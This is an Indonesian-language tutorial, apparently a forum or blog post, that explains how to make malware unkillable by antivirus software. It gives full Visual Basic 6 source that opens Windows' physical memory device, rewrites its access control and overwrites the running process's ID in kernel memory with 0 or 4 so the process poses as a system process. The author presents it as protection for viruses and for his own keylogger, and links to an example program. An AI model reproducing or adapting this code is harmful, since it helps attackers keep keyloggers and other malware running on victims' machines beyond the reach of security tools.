Teknik Perlindungan Malware melalui Process ID

Teknik Perlindungan Malware melalui Process ID

OS Windows tidak akan menghentikan program apapun yang menggunakan Process ID 0 atau 4.
Mengapa demikian?, karena windows akan menganggap PID 0 sebagai "System Idle Process" dan 4 akan dianggap sebagai "System"
Cara ini bisa diterapkan melalui Visual Basic 6.0 dengan memanfaatkan Windows API seperti pada program keylogger buatanku yang tidak bisa dihentikan oleh antivirus apapun. Jadi virus kamu gak bakal terusik oleh antivirus.



contoh programnya bisa dilihat disini http://1ee00f31.zxxo.net

1. Langkah pertama silahkan buka Visual Basic 6.0 dan buat Project baru dengan jenis "Standard EXE"


2. Buat Module baru dan masukkan kode dibawah ini

Kode VB 6

Code:

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

    Option Explicit


    Private Const STATUS_ACCESS_DENIED = &HC0000022
    Private Const SECTION_MAP_WRITE = &H2
    Private Const SECTION_MAP_READ = &H4
    Private Const READ_CONTROL = &H20000
    Private Const WRITE_DAC = &H40000
    Private Const NO_INHERITANCE = 0
    Private Const DACL_SECURITY_INFORMATION = &H4

    Private Type UNICODE_STRING
        Length As Integer
        MaximumLength As Integer
        Buffer As Long
    End Type

    Private Type OBJECT_ATTRIBUTES
        Length As Long
        RootDirectory As Long
        ObjectName As Long
        Attributes As Long
        SecurityDeor As Long
        SecurityQualityOfService As Long
    End Type

    Private Enum ACCESS_MODE
        NOT_USED_ACCESS
        GRANT_ACCESS
        SET_ACCESS
        DENY_ACCESS
        REVOKE_ACCESS
        SET_AUDIT_SUCCESS
        SET_AUDIT_FAILURE
    End Enum

    Private Enum MULTIPLE_TRUSTEE_OPERATION
        NO_MULTIPLE_TRUSTEE
        TRUSTEE_IS_IMPERSONATE
    End Enum

    Private Enum TRUSTEE_FORM
        TRUSTEE_IS_SID
        TRUSTEE_IS_NAME
    End Enum

    Private Enum TRUSTEE_TYPE
        TRUSTEE_IS_UNKNOWN
        TRUSTEE_IS_USER
        TRUSTEE_IS_GROUP
    End Enum

    Private Type TRUSTEE
        pMultipleTrustee            As Long
        MultipleTrusteeOperation    As MULTIPLE_TRUSTEE_OPERATION
        TrusteeForm                 As TRUSTEE_FORM
        TrusteeType                 As TRUSTEE_TYPE
        ptstrName                   As String
    End Type

    Private Type EXPLICIT_ACCESS
        grfAccessPermissions        As Long
        grfAccessMode               As ACCESS_MODE
        grfInheritance              As Long
        TRUSTEE                     As TRUSTEE
    End Type

    Private Enum SE_OBJECT_TYPE
        SE_UNKNOWN_OBJECT_TYPE = 0
        SE_FILE_OBJECT
        SE_SERVICE
        SE_PRINTER
        SE_REGISTRY_KEY
        SE_LMSHARE
        SE_KERNEL_OBJECT
        SE_WINDOW_OBJECT
        SE_DS_OBJECT
        SE_DS_OBJECT_ALL
        SE_PROVIDER_DEFINED_OBJECT
        SE_WMIGUID_OBJECT
    End Enum

    Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
    Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long
    Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
    Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
    Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
    Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
    Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

    Private Type OSVERSIONINFO
        dwOSVersionInfoSize As Long
        dwMajorVersion As Long
        dwMinorVersion As Long
        dwBuildNumber As Long
        dwPlatformId As Long
        szCSDVersion As String * 128
    End Type
       
    Private verinfo As OSVERSIONINFO
       
    Private g_pMapPhysicalMemory As Long
    Private g_hMPM As Long
    Private aByte(3) As Byte

    Public Function ChangePID(FalsePID As Long)

        Dim thread As Long, process As Long, fw As Long, bw As Long
        Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
       
        verinfo.dwOSVersionInfoSize = Len(verinfo)
        If (GetVersionEx(verinfo)) <> 0 Then
            If verinfo.dwPlatformId = 2 Then
                If verinfo.dwMajorVersion = 5 Then
                    Select Case verinfo.dwMinorVersion

                    End Select
                End If
            End If
        End If

        If OpenPhysicalMemory <> 0 Then
            thread = GetData(&HFFDFF124)
            process = GetData(thread + &H44)
            SetData process + &H84, FalsePID
            SetData process, FalsePID
            CloseHandle g_hMPM
        End If
    End Function

    Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
        Dim pDacl As Long
        Dim pNewDacl As Long
        Dim pSD As Long
        Dim dwRes As Long
        Dim ea As EXPLICIT_ACCESS
       
        GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
             
        ea.grfAccessPermissions = SECTION_MAP_WRITE
        ea.grfAccessMode = GRANT_ACCESS
        ea.grfInheritance = NO_INHERITANCE
        ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
        ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
        ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

        SetEntriesInAcl 1, ea, pDacl, pNewDacl
       
        SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
                                   
CleanUp:
        LocalFree pSD
        LocalFree pNewDacl
    End Sub

    Private Function OpenPhysicalMemory() As Long
        Dim Status As Long
        Dim PhysmemString As UNICODE_STRING
        Dim Attributes As OBJECT_ATTRIBUTES
       
        RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
        Attributes.Length = Len(Attributes)
        Attributes.RootDirectory = 0
        Attributes.ObjectName = VarPtr(PhysmemString)
        Attributes.Attributes = 0
        Attributes.SecurityDeor = 0
        Attributes.SecurityQualityOfService = 0
       
        Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
        If Status = STATUS_ACCESS_DENIED Then
            Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
            SetPhyscialMemorySectionCanBeWrited g_hMPM
            CloseHandle g_hMPM
            Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
        End If
       
        Dim lDirectoty As Long
        verinfo.dwOSVersionInfoSize = Len(verinfo)
        If (GetVersionEx(verinfo)) <> 0 Then
            If verinfo.dwPlatformId = 2 Then
                If verinfo.dwMajorVersion = 5 Then
                    Select Case verinfo.dwMinorVersion
                        Case 0
                            lDirectoty = &H30000
                        Case 1
                            lDirectoty = &H39000
                    End Select
                End If
            End If
        End If
       
        If Status = 0 Then
            g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
            If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
        End If
    End Function

    Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
        Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
        Dim lTemp As Long
       
        VAddr = addr
        CopyMemory aByte(0), VAddr, 4
        lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
       
        PGDE = BaseAddress + lTemp * 4
        CopyMemory PGDE, ByVal PGDE, 4
       
        If (PGDE And 1) <> 0 Then
            lTemp = PGDE And &H80
            If lTemp <> 0 Then
                PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
            Else
                PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
                lTemp = (VAddr And &H3FF000) / (2 ^ 12)
                PTE = PGDE + lTemp * 4
                CopyMemory PTE, ByVal PTE, 4
               
                If (PTE And 1) <> 0 Then
                    PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
                    UnmapViewOfFile PGDE
                End If
            End If
        End If
       
        LinearToPhys = PAddr
    End Function

    Private Function GetData(addr As Long) As Long
        Dim phys As Long, tmp As Long, ret As Long
       
        phys = LinearToPhys(g_pMapPhysicalMemory, addr)
        tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
        If tmp <> 0 Then
            ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
            CopyMemory ret, ByVal ret, 4
           
            UnmapViewOfFile tmp
            GetData = ret
        End If
    End Function

    Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
        Dim phys As Long, tmp As Long, X As Long
       
        phys = LinearToPhys(g_pMapPhysicalMemory, addr)
        tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
        If tmp <> 0 Then
            X = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
            CopyMemory ByVal X, data, 4
           
            UnmapViewOfFile tmp
            SetData = True
        End If
    End Function

    Private Function ByteArrToLong(inByte() As Byte) As Double
        Dim i As Integer
        For i = 0 To 3
            ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
        Next i
    End Function
    Public Function HideProcess(ByVal FalsePID As Long)

        Dim thread As Long, process As Long, fw As Long, bw As Long
        Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
       
        verinfo.dwOSVersionInfoSize = Len(verinfo)
        If (GetVersionEx(verinfo)) <> 0 Then
            If verinfo.dwPlatformId = 2 Then
                If verinfo.dwMajorVersion = 5 Then
                    Select Case verinfo.dwMinorVersion
                    End Select
                End If
            End If
        End If

        If OpenPhysicalMemory <> 0 Then
            thread = GetData(&HFFDFF124)
            process = GetData(thread + &H44)
            SetData process, FalsePID
            CloseHandle g_hMPM
        End If
    End Function  

3. Masukkan kode dibawah ini pada form

Code:

	ChangePID (0) 'untuk mengganti Process ID ke 0

atau

Code:

	ChangePID (4) 'untuk mengganti process ID ke 4

Semoga bermanfaat >:d<

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